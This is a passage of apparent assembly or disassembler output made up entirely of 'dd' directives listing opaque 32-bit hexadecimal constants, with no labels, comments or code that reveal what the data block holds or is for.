		dd 70F4A653h, 634400DFh, 6425071h, 9D16AEE1h, 0FC01CE1Ch
		dd 4EAC51Dh, 0BFCF30h, 43DB2928h, 0AA664942h, 7AA2A300h
		dd 2F8D5B86h, 9E6C00CDh, 77429A45h, 2B00F514h, 0FD44A85Ah
		dd 0FE47D0E3h, 6B2E0309h, 7E77F63Dh, 0D40139F9h, 14095CF9h
		dd 922E416h, 0BEFC0008h, 3D663E23h, 0E180A6A5h,	619B99E8h
		dd 46003297h, 6D9A501Dh, 366402Ah, 77AD700Eh, 21A0AA68h
		dd 6500D12Ch, 0E2D287E4h, 5B038Ch, 1FD912DBh, 7ACEBFBAh
		dd 2B0096B0h, 0C17819F4h, 6E7D309Bh, 0CDC0986Ah, 759EA75Ah
		dd 98675800h, 2C425F48h, 6FFD00A2h, 78D1C7D7h, 0E30F468Ch
		dd 4089C235h, 0E731CC86h, 2D80270h, 0BC77EB0Bh,	48EA7040h
		dd 0A97D88F0h, 5F00E871h, 25DC511Eh, 317AF8h, 0B71753F2h
		dd 0AE4203B9h, 0D05CAB0Eh, 969FA00Bh, 1C66F7FCh, 4050C21Ah
		dd 0E8CF9592h, 9E017288h, 69B8DE1Eh, 0C6C481FBh, 0DDC00B1h
		dd 8EED3DE2h, 34CCA98h,	804939B0h, 3264739Ah, 840D34h
		dd 5C3D8313h, 0CD8515A3h, 0C27B607h, 88C0B5BEh,	1D021Bh
		dd 0FFB6B67h, 0EC3A98EDh, 0C400C7ECh, 21DE4ED2h, 60CD78h
		dd 9ADFAFB5h, 29416C27h, 4C870430h, 7872ADh, 0CF224936h
		dd 16D4D3B7h, 4E07287Fh, 863C4463h, 0DD05B890h,	1AA3000Ah
		dd 0AB915FF3h, 0F0C1FF76h, 9BBE346Bh, 0AF3CA0E3h, 6CB1001Dh
		dd 92B7695Bh, 0EF0004ABh, 8AE170E8h, 6DA72Bh, 5A30B9F1h
		dd 0BDF91A47h, 9D8E3539h, 18407EADh, 0A0AFB667h, 0E577002Fh
		dd 0ED99482h, 4F75153Ch, 0F32B9501h, 0FD2C49E4h, 77F5F0h
		dd 0C0474CE8h, 0D81C4F75h, 39010A00h, 3CA49503h, 261AEE4Dh
		dd 60D5D9h, 5C1BD43Fh, 0B617AD74h, 890ADA0Eh, 0F5009A50h
		dd 6DCA9BAh, 391A0068h,	8B85AFD6h, 0EF006782h, 7F0C90C3h
		dd 7E57BAA5h, 48210098h, 68525A12h, 57903987h, 419F8C00h
		dd 86C5AE13h, 1C17FEBh,	0F5795DAFh, 0E7280DEEh,	0C4F02EA1h
		dd 1C00FED7h, 21A3610Fh, 0DF05EAh, 54D17D1Fh, 9911FB8Eh
		dd 611EC9F0h, 0AE1D28B2h, 7EAF1800h, 1CE41DDh, 56C60CF8h
		dd 40C9A888h, 39C4C19Dh, 499E324h, 0F15BF700h, 8249CEh
		dd 2CC95430h, 0B6DAFBA1h, 205DB4CEh, 2EC27303h,	32E0A099h
		dd 0FB0E0035h, 0DEA09FBEh, 52008354h, 44E7B05Fh, 903114B1h
		dd 6F7B04h, 50A7F11Fh, 0D9B9BFC1h, 0D25AFD00h, 0BD90E5D4h
		dd 1E37003Eh, 238EC3FAh, 31003222h, 1D414F0Fh, 3A8F08h
		dd 0EB99DEF8h, 0A61A5A09h, 435F1100h, 0B147ECA8h, 147BDBh
		dd 73387EDDh, 0DECB4AAAh, 0D1064400h, 9B9E48ABh, 0D8DD004Bh
		dd 344D65A0h, 0A70746F9h, 61D14124h, 2FB44470h,	94FF07BCh
		dd 0DE55FA07h, 0B80FE889h, 0FC973EC1h, 839B242Fh, 0A7BC3700h
		dd 0F6BD6094h, 0C78200CEh, 3092450Ah, 0CC308E7Bh, 803E718Ah
		dd 340985Dh, 9A6CF018h,	13B8B6FAh, 0E600DBABh, 532ADF9Ch
		dd 8D65B3h, 86EF1460h, 83E2CAD8h, 20ED5016h, 3918A841h
		dd 0C2CF7462h, 2E7C46FAh, 19A58C7h, 0CCBC151Ah,	0A688306Dh
		dd 6B1B8C04h, 1BC00750h, 25919h, 435E7E1Ch, 31721755h
		dd 0A446B730h, 0DEDF99h, 116956FFh, 0C3AC5519h,	0C04E1400h
		dd 2120F382h, 8E713084h, 3BFC3FE8h, 0CF70B803h,	0A308F704h
		dd 0FACC086h, 9B3C0053h, 95B6E2Ah, 2CE807C8h, 9FC7E107h
		dd 76A7639Ah, 0AEF0E7DFh, 8ED79710h, 0A28101F3h, 25CE6424h
		dd 0D39AF4C7h, 0D6B34700h, 0C0A4489Ch, 88D41DCBh, 8D003B09h
		dd 0BE56FBFh, 43E0CA56h, 0D4A7D600h, 47BE314Dh,	9B7F00A4h
		dd 5CB29AA1h, 0DC00E0E1h, 81C7BFA2h, 1D9290Bh, 0E3C0BAD2h
		dd 0D45232EBh, 6F004ACAh, 0A92CD28h, 30DC24h, 0DE9E93EFh
		dd 0C796CF87h, 97D00903h, 8814BB33h, 0E3FB3Ah, 5C5A714Dh
		dd 0ACDABDF8h, 560055FAh, 89888C57h, 1359E0h, 0ED7EC80Fh
		dd 0F43C5DE2h, 0F80274E8h, 26493BB0h, 0E61D609Eh, 354C0073h
		dd 0BAB7BDC7h, 70F91021h, 0EF30E70Dh, 61C62824h, 17280085h
		dd 76590E41h, 22008BCEh
		dd 0F5B03137h, 0EEBFADh, 87E71203h, 52AFF425h, 0A7347000h
		dd 0D6CAA20Dh, 644A0919h, 1781111Bh, 0D062C19Fh, 7A000AEAh
		dd 56A03B5Eh, 191B427h,	0CC750FA5h, 0F4AE45E7h,	2D007FA1h
		dd 0C090DFFEh, 1E8D66Bh, 0A2B8EDD8h, 47D77A8Ah,	4C7750E8h
		dd 6D00DC45h, 0D1FC4663h, 0C0407Ch, 3CA52A19h, 0CE5D694Eh
		dd 0F7B34A01h, 0FE7642C3h, 581A7D30h, 2B040AB7h, 8091C423h
		dd 67F44574h, 0EBB8C21Ch, 1D40135Fh, 88A9A5F8h,	513E0060h
		dd 10B3CC7Eh, 0C804FA99h, 744CCBC7h, 0B65760D0h, 8DF00082h
		dd 76315526h, 0EC016F14h, 48B31EDBh, 0E830DC7Dh, 96A10003h
		dd 0B270CD13h, 9632DDh,	84E1CA02h, 4421E066h, 0F0450014h
		dd 5E2D4174h, 4902F718h, 8973E30Ah, 55DEC033h, 3B1D389Ah
		dd 1A808D07h, 0A40A002Fh, 482E8575h, 0EF0061EBh, 1EA2427Bh
		dd 204B5C3Eh, 0DD51505h, 4F909081h, 0D7035218h,	2EDF6D37h
		dd 4ADDA0E2h, 867816D5h, 280318A2h, 0A41E3744h,	0D09645C6h
		dd 0A6BA7C00h, 0FC3B8C31h, 0E6735Fh, 0F3AF3442h, 0A9E80967h
		dd 4522FF00h, 0C0356ACFh, 0F7EA54h, 2EFDBB21h, 0B4EEEFF3h
		dd 9D00D972h, 0A94CCD12h, 26756953h, 111B28h, 0B29E6B02h
		dd 720034ACh, 83CD5245h, 26BC4A70h, 808C3A79h, 66B22439h
		dd 80094DCh, 48E3194Fh,	1C9EF8F0h, 0CB07A8h, 0BBB29B68h
		dd 0B8001641h, 962E63C6h, 8375ABh, 0A669D4AFh, 87EAC536h
		dd 51D2CD00h, 231E3D22h, 6F7EFFh, 615C2996h, 0E5AF7093h
		dd 0CD2D4D00h, 8658E47h, 1B393D27h, 36E06180h, 0E2D78572h
		dd 4BB53101h, 45B6B734h, 0C73B3083h, 97D841D9h,	0F6001871h
		dd 0C2D19316h, 1F1F0E99h, 80DA2976h, 0E7EC3907h, 62004468h
		dd 23C056FEh, 173FF45h,	0A31FCE52h, 0DCAC31F8h,	0C3008A44h
		dd 8B682D6Bh, 90EC85C8h, 0C4F0005Ch, 42CFD2A5h,	0B0B7543h
		dd 2FD718Fh, 0E3A43F90h, 0FC2598B8h, 0CAF31F1Ch, 0F4A8CEh
		dd 5B181B48h, 4F8A1DA5h, 6BB3211Fh, 0CC63AE07h,	0F390A610h
		dd 149AA4h, 0FC74E0D8h,	292E9486h, 79F08D00h, 718A2052h
		dd 617C0756h, 70C839B5h, 0A3580670h, 0D1B9CF00h, 0C9A5139Bh
		dd 3D0100ACh, 1D5C90B7h, 2E00A95Dh, 284AFAD3h, 3C0E56C3h
		dd 44D90A40h, 59681501h, 0DCFB9552h, 6D007D5Eh,	0C7FA8229h
		dd 60D2F3h, 3683BC4Eh, 98554190h, 88519B00h, 67B9647Fh
		dd 0FA90034h, 602575DEh, 6E242209h, 0C307D0EDh,	905BCD38h
		dd 7AADEB8h, 0D7D60FD5h, 0FE6700E3h, 5800B99Ah,	0A25D3FFCh
		dd 7FF269h, 65565F14h, 35ED73F3h, 5E54CF00h, 4B671131h
		dd 862512BFh, 0D048C090h, 9700BECEh, 827FD302h,	0AB5515h
		dd 0B718E385h, 653BA47Dh, 0C47EB574h, 0F62158h,	7C134504h
		dd 1B441Eh, 0E9073BBh, 0DE468AA6h, 609C39h, 0E307D341h
		dd 4AF1F79h, 4DDF65FFh,	4218F082h, 0D1E9CC02h, 5873228Dh
		dd 16C1000Ch, 0C487DBEh, 6B182871h, 3E92B67Ah, 1D1E279Fh
		dd 2F6E54A0h, 0F23C0F26h, 0A7970944h, 7E486019h, 0E859C0F9h
		dd 0D88E0429h, 0F644B600h, 25773D2Bh, 789B1D8Fh, 6998806Fh
		dd 5E6C3657h, 30A1801Fh, 81A24C45h, 9828A0h, 0DD84478h
		dd 0BC9A2150h, 0C50073EAh, 0D277337Ah, 3ACD0E29h, 5109A3C2h
		dd 63815099h, 0BF616275h, 471700A9h, 0F84CEF11h, 0B6AE00E9h
		dd 99C67B87h, 0BB48940Bh, 0B4FB2EAEh, 80809C13h, 1EDD41Ch
		dd 9156704h, 611F5AE4h,	8073219Ch, 764BE320h, 9D3427Fh
		dd 61BFEF68h, 670C34E0h, 54A9B0C1h, 0C8E01B2Dh,	69D1005Ch
		dd 8C5FAABh, 20053F7Ch,	2531775Dh, 0E004880Eh, 75B1A33h
		dd 71510094h, 856367F1h, 9E7344DDh, 25BA4503h, 33A6CCDh
		dd 0FA8F8168h, 55B0C20Dh, 98743324h, 0BA580701h, 0F5A644DAh
		dd 93A7E838h, 40002DC1h, 35B88904h, 7F59A9h, 0D73ED6B6h
		dd 0E8AF81A3h, 0CA67A800h, 0CCDF60C0h, 5B8F1C44h, 1076C0E9h
		dd 391EA13Ch, 418C4612h, 0F8152445h, 0FBE4F860h, 10B35992h
		dd 2E23000h, 0A69FEA21h, 43ECF700h, 0A745657Ah,	8DC300BEh
		dd 6FC233FAh, 37E23B4Ah, 176D8E12h, 0A806004Ah,	7E016013h
		dd 0D5B088DFh, 916A5980h, 18835717h, 38061500h,	7BE029BAh
		dd 0CAFA00D7h, 0F595D511h, 0AE1259EEh, 8409BA8h, 0E2D44DB7h
		dd 4160E82h, 6DE33ADBh,	7072328Bh, 80DE2C26h, 6CACC800h
		dd 0FA6AE82h, 219763BCh, 81A960A4h, 0E4332D94h,	0E10095D4h
		dd 0EE0B74E6h, 100C23h,	0C9078068h, 0E9BA2409h,	930DBE00h
		dd 0F8EEFE5Ah, 0AC5C3982h, 8893BF39h, 0D004056Ah, 12EC4130h
		dd 98620115h, 0EFA82E88h, 0DBE21452h, 7F28E479h, 472600F0h
		dd 85D83817h, 4FF21107h, 21C6D200h, 0B73B7273h,	0B6D50505h
		dd 80F5EF2Eh, 0B85BDAD9h, 0E7AD1412h, 18CBF490h, 0FFC300AEh
		dd 0BB79E446h, 93003890h, 2E6EB47Eh, 9104BBCh, 1F9944BFh
		dd 0FB29AF81h, 0E204E4E1h, 9F5CCE00h, 90A9191Bh, 0BDD30045h
		dd 62EC1D77h, 0BB007FE1h, 9AE6055Ah, 0F0CB0AD1h, 97AA0075h
		dd 0F1465ABh, 520F15BDh, 0E2AC62E4h, 0D89503A5h, 4E4500BCh
		dd 0C581E3E0h, 0A300A75Eh, 96D4161Dh, 9A7DCAh, 0EB242FEh
		dd 79620A31h, 43668100h, 0D6375673h, 93A8011Fh,	0B4CBF528h
		dd 7C0AF807h, 305E8F0Eh, 40710FC7h, 6A0E68A9h, 24CB7FB5h
		dd 936427B7h, 91A4D0C6h, 1000DF09h, 0F420D1EEh,	1D9D44Ah
		dd 0CB76E326h, 7A4E9048h, 28355404h, 1C6160B0h,	0B07C25h
		dd 0D3997FFCh, 0C00B579h, 0C9E40295h, 0EC435F4Ah, 5CF500DAh
		dd 8984B90h, 10C9C5CEh,	6E5CE08Eh, 0EA1F0087h, 7D12077h
		dd 0EE00717Ch, 8CBE90CFh, 3295073h, 98483D56h, 0D9D84216h
		dd 1F00EC0Dh, 47E47E80h, 4896F02Bh, 56602827h, 0C4051126h
		dd 0B9873700h, 41C9D673h, 4C7B00F2h, 5CE1E0FDh,	0B507A83Dh
		dd 719C09E4h, 99358500h, 0D4430033h, 7BA92157h,	150083A1h
		dd 42863C3Fh, 21956h, 8E81984Ch, 0E3D7EE4h, 2DE2620Fh
		dd 8400574Fh, 9771B8ACh, 2A30026h, 0E011C472h, 0BC7560B6h
		dd 78218800h, 81BA8D0Ch, 0E2C11208h, 0B33CC042h, 9B2479B6h
		dd 38C276h, 9954DC14h, 593D11h,	921051A9h, 0EBEEAEABh
		dd 21269500h, 0F697FBD8h, 58CE0077h, 0CA654B75h, 3BFC7AADh
		dd 600B498h, 22C4E817h,	0A19350h, 9B02B1E9h, 5705F864h
		dd 0E76A6700h, 9AEC0814h, 0C1AA0E11h, 74608769h, 1E2ABF53h
		dd 4882100h, 0DDE2B079h, 509C0042h, 27D58B9Dh, 90F47854h
		dd 0F58ED400h, 87B0A04h, 0B18A13BDh, 926842CFh,	0A4D8E0CDh
		dd 0D16EB50Fh, 96B660D5h, 0D801E8h, 9A0D3445h, 9CF7BBABh
		dd 3CC9459h, 0B20EAFEAh, 0D0A1D4CBh, 0A1EC7980h, 580C65CDh
		dd 6C8B45Ch, 826239B6h,	9E85009Ah, 77367B83h, 0DFEEE28Dh
		dd 0A1562700h, 0B1DCC912h, 2CB8495Eh, 6B653F01h, 8063A506h
		dd 62592C48h, 9928D8h, 0AEB97353h, 0FF4A0BE7h, 3FCC0F00h
		dd 0CB0E8DF1h, 0D89A01D9h, 31A49E97h, 18B2C4AFh, 0EA243Dh
		dd 5A9F944Dh, 3A3F96FBh, 14801CD1h, 99ED8560h, 0F8BAD6ADh
		dd 0D986412Eh, 7C2B5A00h, 2832CD68h, 942D36h, 0B20C608Ch
		dd 5F85C3D1h, 4400817Bh, 134B47C9h, 98ACCF8h, 4888EC39h
		dd 60806465h, 0EF7EA843h, 1F497F69h, 80181C92h,	0BFB8572Fh
		dd 0CC7F8E27h, 0E4833704h, 0A9C73C15h, 0D6BDB3B0h, 5D5E003Bh
		dd 90431B79h, 0D526CCD0h, 0CA0034ACh, 57B975EBh, 6B790058h
		dd 0D6D47332h, 0F40121D5h
		dd 0AC64047h, 9C3CF7C2h, 7FF96F00h, 2C0CC962h, 77968E00h
		dd 0EFFCE8E2h, 0FF970788h, 948327h, 22F60465h, 0DA00DDE8h
		dd 4F0FD30Ah, 0A71068h,	0F34244F9h, 6C712024h, 6E63C201h
		dd 0EA876F5Ch, 1FE8D0D0h, 0C109EF74h, 7814600Ch, 253428A2h
		dd 9C6400DAh, 0F00ECCEFh, 0FA54A36h, 46C013E4h,	3403798h
		dd 0BA900400h, 6A52EC91h, 58E80ECCh, 92C1AC05h,	0C015FDAFh
		dd 9177C075h, 9180F298h, 692E0A85h, 0DF0FDF4Ah,	4249803Ch
		dd 0B76993Eh, 4DF4304Eh, 0FE700A00h, 0B200ACB6h, 2C93813Ch
		dd 0B9D48Dh, 1E1F8053h,	0B42A0644h, 0FB253700h,	41A7988Ch
		dd 0F8C70013h, 424EF04Ch, 0DB009591h, 0E03E9260h, 0D27EC57Dh
		dd 408E0322h, 7A01D257h, 0BA03C85Ch, 0BFC026F0h, 0AC4A0385h
		dd 2DEB78B7h, 6C007EB3h, 0AB688312h, 0E64F22h, 1DDDD779h
		dd 0B5BF0DC5h, 19A42B07h, 0B1507781h, 7DBACDA2h, 0C4832CCEh
		dd 0FAC20A2h, 8D92375Ah, 31479C0h, 4200FD97h, 282E3D1Eh
		dd 0A5999Ch, 46D9E434h,	0E9E574B8h, 0B847065Eh,	0DA613FCAh
		dd 52BA05F0h, 3E7EB089h, 1532B481h, 29F73063h, 0FE4EA502h
		dd 58AA0380h, 0B9ED1EE0h, 0A2C7009Ah, 64E898Fh,	2CA4C305h
		dd 0CCA07865h, 0C13D0361h, 2234B4B5h, 404035F9h, 0C87864D7h
		dd 28E3DC24h, 0E105930Eh, 61B9FE7Fh, 678CE0h, 5CAA2C94h
		dd 0A2ACA081h, 2A2B18C0h, 4C0819h, 0DFBA0AD8h, 2040BA9h
		dd 0AD019C77h, 6B6D52EBh, 30808655h, 0AC6C5070h, 0F4B0E415h
		dd 0C2CFD00h, 3ED62325h, 0E1BC0089h, 0F7D55B0Ah, 69254BA9h
		dd 86C02E2h, 0E580E060h, 71730086h, 1EFADEB3h, 0BC3E4A67h
		dd 9D1200C6h, 35C96C8Ch, 6B620056h, 0F35AB379h,	2D03695Ch
		dd 0CA4577D2h, 5B1F90FDh, 962F00CDh, 8CF7D620h,	0C003131Eh
		dd 43426234h, 80DBC21Bh, 744D248Ch, 0B261D30h, 3FAA4009h
		dd 0E98307E3h, 0D90030B8h, 286744F2h, 30F118E2h, 3318ECFBh
		dd 0C87C3CCBh, 2004678h, 4ACD722h, 0F9231Ah, 4809773Ah
		dd 512EF4E8h, 7F57100h,	4DF19B1Fh, 856A3EBCh, 297A1980h
		dd 93E22A8Fh, 0B0520212h, 0FD88A901h, 8C400E8Bh, 793EC0h
		dd 222A189h, 6945B4E8h,	6751BC00h, 32264B1Bh, 0DBB009Eh
		dd 86AC94E3h, 2309F01Ah, 209BA62Eh, 0F4BC244h, 0B631DFAh
		dd 0F08D4039h, 3A19C777h, 5FE9CE00h, 9D05D611h,	0CBC50091h
		dd 49B99FFDh, 9B021645h, 0B4346372h, 80A8F94Dh,	7AE0CE61h
		dd 0E300BA23h, 45AC89EEh, 16DB98DCh, 53418Eh, 0D02DBFFFh
		dd 2900141Ch, 39975CA9h, 0EF9C8A5h, 0EA476505h,	7C108160h
		dd 2038184Fh, 42D6800Eh, 6D09F714h, 0D53900EAh,	0F58785E2h
		dd 0B1007AEDh, 0D0A1E50h, 0E48203h, 0A8458B77h,	3E8C14FAh
		dd 81F4952Dh, 0F95A65C8h, 9D9630h, 0CB0ADF7Ah, 0ABFD4AA7h
		dd 0BB28400h, 0B856BD5Ah, 74282DDCh, 9011674h, 33E56531h
		dd 0F0EF61D5h, 120A4191h, 0E27C1Fh, 873607CBh, 8C037A2Bh
		dd 0EB1AC045h, 8B89A27Dh, 5480DFE6h, 332E558Bh,	0ECB07100h
		dd 0F6D2D54Ch, 62C207B6h, 4098FACDh, 375FEDCCh,	1FB9BD0Bh
		dd 4D7500EAh, 3F6434h, 0F504FE20h, 494477D6h, 0C1CB2F03h
		dd 0B055FBCDh, 0B26F4Ah, 2224ADB0h, 42F293C8h, 0BDDCE405h
		dd 40904718h, 553CA5h, 4AA11BCAh, 0E74E11C2h, 0AA162BE7h
		dd 22C32830h, 55A0266Fh, 7EE500CDh, 7BB4390Fh, 1F12BF03h
		dd 0E09646A5h, 164D84CCh, 17086F2h, 0FB3038C0h,	0B42C9Fh
		dd 0A1F47893h, 0EE1C9D88h, 3FD80CF3h, 92189E4h,	0B064C100h
		dd 0B71C99B8h, 629D3B70h, 0A7C2D286h, 0C00C5026h, 0C161FAADh
		dd 8DA11CBBh, 87398137h, 20EF3448h, 3C0393EFh, 54757EAh
		dd 94ACE084h, 0C330078Eh, 60704CFCh, 3FE84A52h,	0C406B6ECh
		dd 0A6F1E558h, 90B51F60h, 30275D99h, 0EE59EC99h, 569F4E00h
		dd 656E8D71h, 7BDA0011h, 5FAA252Eh, 643D3F21h, 57F60074h
		dd 8734F493h, 0B1C83F4Ah, 43C1107h, 3FE6E18Ch, 6B7841EEh
		dd 85944888h, 71901A0Fh, 0F4EF2064h, 30319BDh, 0EA1E2236h
		dd 0DAD0AF0Ch, 32739765h, 301A5801h, 4DBDA289h,	6C1130h
		dd 4126198Fh, 4ACB9F5Bh, 0A1079401h, 3BA5D79Eh,	0F01CE7F8h
		dd 0BA7D3C20h, 6222DA03h, 810171C1h, 5EC96860h,	0F88C9284h
		dd 3508673Fh, 3200449Ch, 0C702B489h, 0E22D147Ch, 1901B8BAh
		dd 3D18E10Fh, 599DCC99h, 22CCF5Ch, 0D491BD2Ah, 98A0A03Ch
		dd 130EDCBh, 9F86F98Dh,	0D187318Eh, 2121839Ah, 9009EE63h
		dd 0E2620F46h, 0A1B7FB4h, 739C6DC1h, 0C3858498h, 385F6Eh
		dd 0E3F360E0h, 0C09B6B87h, 0EB56C0A9h, 2D6065C7h, 88411811h
		dd 48B701C9h, 30AE649Dh, 801DD19Ch, 88795B21h, 1D6ED014h
		dd 40CBF7F1h, 0B18F9836h, 0FA03F63Bh, 0AE7A6402h, 0D9890172h
		dd 2BD2BE0Fh, 0EFC44746h, 704BCC9Ch, 71008C21h,	0FBF365AEh
		dd 666B2D04h, 70E608FDh, 9503ACE4h, 6C6803AEh, 0B6680CAh
		dd 0EBC40011h, 6F8823F3h, 0A1059B70h, 8674A42Ch, 351DF300h
		dd 0B9C877h, 950AD471h,	55EB88D1h, 0D9F2B600h, 839A6ED8h
		dd 2D1C00ABh, 0CF93C93Ch, 4B01B1AEh, 0D1E0A5Dh,	20D87032h
		dd 0ACBB00D2h, 0CDC9D6AAh, 0BF07E777h, 0D8AE7F99h, 0D5784600h
		dd 9F1F00FBh, 778F0925h, 0BB7233E0h, 0CB1CCEFh,	87EAC100h
		dd 0D452F1D6h, 0B7E71E2Ah, 1F590026h, 246B5668h, 0BD00EBF8h
		dd 0DEEC5D29h, 5C05CCh,	82342350h, 0F002B059h, 0ADB43500h
		dd 9C062B71h, 8BE30E76h, 6560408Eh, 824A3983h, 7D711E07h
		dd 1A40ABCCh, 140FB4h, 2C24E506h, 4B623136h, 7882D903h
		dd 1AC283BCh, 0BA281A50h, 0DCA19880h, 4C00AFF8h, 0EB2D32AAh
		dd 6D575FBh, 0CD1A784Eh, 0DA48599Fh, 513870h, 3A926408h
		dd 255D4720h, 0FE8027E6h, 58EACD0Fh, 1DA63501h,	5EE7868Eh
		dd 40C8F0h, 0C29CC997h,	69877B1Ch, 0F10050F8h, 0EC0B5B30h
		dd 0C0A0CC12h, 5A8E2469h, 0F100494Ah, 0CA1842D9h, 32CC99Ah
		dd 20F0DE01h, 0ADC0A614h, 891B3B69h, 0C0385257h, 0C40B82h
		dd 0C335DE67h, 0E4CF7898h, 4F4D120Ch, 0A48F806Ch, 0E8990080h
		dd 372DAE7Ch, 831E47E4h, 0E940B85Eh, 952ACBC3h,	1C6C082Eh
		dd 0BF80A9CDh, 3D0AEC9Dh, 4A380F04h, 0AE80D162h, 0D78CDDDFh
		dd 63ABE301h, 447FE799h, 0F8FBD8E8h, 8B71C1B5h,	0E91D9B23h
		dd 0D4230B9h, 0EF321000h, 7505343Bh, 3A02060Ch,	110A4BB6h
		dd 83040953h, 28CE16h, 3795B228h, 9A7E69A0h, 6C00C479h
		dd 0B155C83Fh, 762AD9h,	730A863Bh, 0A65ECCF1h, 7E646200h
		dd 38070334h, 0A27A9Dh,	0FE26513Bh, 299C244Fh, 0D45FFC00h
		dd 70D9785Dh, 0EF90022h, 3471BDCFh, 2A00C61Fh, 76F54E6Ah
		dd 2BA3FDh, 1B1782BAh, 0E7C40C0Fh, 0E8ED7126h, 0C3CF4F06h
		dd 0B921241Eh, 4DDC0021h, 0CDC6F542h, 7994F000h, 6632AEDFh
		dd 23C8073Bh, 0C78145E4h, 0CB38C090h, 0AF395F95h, 643380A1h
		dd 0C79E108Ah, 0EE060FC6h, 1A00DA1Fh, 0BB9936D5h, 51326200h
		dd 3B6D0F91h, 755C00CEh, 57024E48h, 8C17CB44h, 0AA0AFC38h
		dd 2A00A42Fh, 9D6C5D26h, 0FD8A13E6h, 6B5A009Ah,	3B566554h
		dd 804D803Ah, 0F787551Fh, 2B64539h, 1D0C4BE0h, 4EC0CB97h
		dd 3200A248h, 0DBC8097Bh, 11231F2h, 514EA341h, 30AC0E6Bh
		dd 77542569h, 6500BDE0h, 0AA59F1C7h, 881537h, 17D74D0h
		dd 0E612B785h, 3E7C1D00h, 0DD5B45BBh, 997B00F0h, 1180039Fh
		dd 33007519h, 4ABD7C42h
		dd 7089A69h, 1B230529h,	0C7195048h, 2B039D4Ch, 0C3E3F7CAh
		dd 0A294C013h, 0BB9F380Dh, 0F2891B80h, 107DFFB4h, 0B091FB00h
		dd 7F1FD817h, 7B16018Ah, 0D0122196h, 0F0EDD806h, 0A2E8ABE8h
		dd 6C5FD600h, 0F184A95Dh, 706504ADh, 91167128h,	40D11A4Ch
		dd 32B3E53Ch, 2888A900h, 4E5C5544h, 0C2270066h,	58B314Ah
		dd 1F007FA0h, 384FBE6Fh, 0EE0D71Ah, 51BCC572h, 4067CC87h
		dd 2B8EEE0Ch, 0B993300Fh, 6FBC07Bh, 5F6B5D2h, 5DF27A87h
		dd 40AC1DBFh, 0DB306ED7h, 0BC00FF07h, 41D8E10Bh, 1BD94FEh
		dd 722C5B9Ch, 0D063B53Dh, 6F07A471h, 3164C0C8h,	81580039h
		dd 143097F4h, 0EC166C7Eh, 0E6E50406h, 730021CBh, 85DF2056h
		dd 0E7CBCE1h, 0B9DC32C2h, 16EB8340h, 10495BFCh,	48C513D0h
		dd 0B1CE5800h, 7EE47BACh, 405D2A0Fh, 39E700C4h,	0EC925373h
		dd 0CD38A999h, 0A18A80B5h, 0C4CB90A3h, 0A0C20041h, 54384D64h
		dd 4B005CE3h, 82B14522h, 130A2D36h, 1FD9731h, 71F00555h
		dd 0C481F59Ah, 3301980Dh, 0FD3AF50Eh, 0F0D7A87Ah, 1234525h
		dd 0C21AB984h, 0D098BE2Eh, 4C07750h, 0C6AEEA95h, 0D3E100E2h
		dd 0DE2CFF2Bh, 0DA7E697Eh, 558C1400h, 280AE9D6h, 75BA0429h
		dd 0C54A171Ch, 68300040h, 126941E7h, 11887300h,	6690B183h
		dd 9C3B00ADh, 8C28A7D7h, 621C3EACh, 860011CDh, 0A3737B0Dh
		dd 0BE036E83h, 0B343D5A0h, 0C800CCE1h, 0AE53552h, 79187F0h
		dd 29D12F64h, 491F2006h, 1A00D775h, 0D6E0281Eh,	0B562B6Ch
		dd 113E787Bh, 0A5E33A80h, 1B7A4019h, 7409CD77h,	0F8FCCh
		dd 5CA2D054h, 0D1680B33h, 7C80F7C8h, 0A981D43Ch, 7BFC8950h
		dd 0AB17BB00h, 0AA4996BCh, 5B010012h, 98AEE20Ch, 0C303ACB9h
		dd 0EC7FC12Fh, 943CA0C4h, 0A7B08h, 0D13A3EA2h, 32407FDh
		dd 91CC900h, 0B06A2EE2h, 75C700C8h, 2FBAA749h, 0CA006119h
		dd 0E7C345DFh, 131BF1h,	0A84E7367h, 0C08D3E84h,	46A46E18h
		dd 0A850B1B9h, 1E2437B4h, 48EF81h, 0C7823F85h, 8B00BCD4h
		dd 0CC0FDD26h, 0B8BDFEC9h, 67EE1C8Bh, 0A0C9E89Bh, 6DBC04h
		dd 0AA8B0A33h, 72178936h, 8D94DB00h, 0D0BD47B7h, 3F113887h
		dd 0E1653980h, 0B6D80599h, 0E0E79A01h, 0D0C0B427h, 0FEE48DCh
		dd 15369C7h, 382CC680h,	460CFC92h, 0B480B43Fh, 87D83FE5h
		dd 958F5500h, 12067C9Ah, 1BF1A00h, 38454A33h, 19DB00F3h
		dd 0FC309B81h, 361C8511h, 28805139h, 4B5E9465h,	41F30027h
		dd 0F2938BADh, 1303EFC1h, 152440C2h, 0C044E08Eh, 95733F82h
		dd 2DA62600h, 0D9ED0C6Eh, 3F563703h, 0F8740977h, 1DA9E696h
		dd 40FE821Dh, 0D4D9BA0Eh, 5C00232Dh, 0AA69641Ah, 9EF6B9h
		dd 8F775BB0h, 0E532BB60h, 300537Ah, 99A4D5E6h, 0A9807Ah
		dd 954C9123h, 7D786417h, 7B48300h, 0D559F363h, 0E9DF01DAh
		dd 23E87A49h, 92F430B1h, 455CD600h, 1A1F2787h, 8EE304A5h
		dd 8D832101h, 7846E4CCh, 6C74F026h, 0FC7C6D00h,	66C74Dh
		dd 6A4AA5E6h, 6CE91E65h, 2D35BB00h, 1D692FA0h, 49E6002Bh
		dd 0F90F26A4h, 9C00B1BAh, 23C4E163h, 0E2B3D157h, 27F50E82h
		dd 2003DCEh, 89763FDAh,	115DCFFAh, 0A198002Ch, 62798D28h
		dd 727B5C23h, 192EB70Ch, 10CE8620h, 0F7318118h,	7834073Ch
		dd 2E29007Ch, 0EA7AA3D5h, 0EE8AF5Bh, 780C5359h,	8771FF3Dh
		dd 23357D56h, 0D742C580h, 1ED030D8h, 0F37AA720h, 1AAE2B18h
		dd 30884089h, 0E61FB22h, 7E00A406h, 0A860F2B1h,	73011B8h
		dd 0F859AE78h, 0B429FCEBh, 8616A0C0h, 420AF713h, 23B30402h
		dd 3B04D3D5h, 0DABC35Dh, 7D72C3B8h, 6FEE5906h, 38A020F8h
		dd 7CC729h, 4895A6D0h, 2110C2C0h, 0CE5CE00h, 8F6BEA34h
		dd 5E7D07BCh, 40B8528Bh, 71213CAAh, 0B2248E01h,	1461A00Ah
		dd 90D076F0h, 17793E09h, 0D39E5600h, 0B4771AEh,	0A07A2E04h
		dd 82C03AECh, 3D7C2752h, 402AA4Fh, 61FABEBFh, 8065CC90h
		dd 98E0E800h, 9E0E4B7Ah, 304874EAh, 47207661h, 8AA0E879h
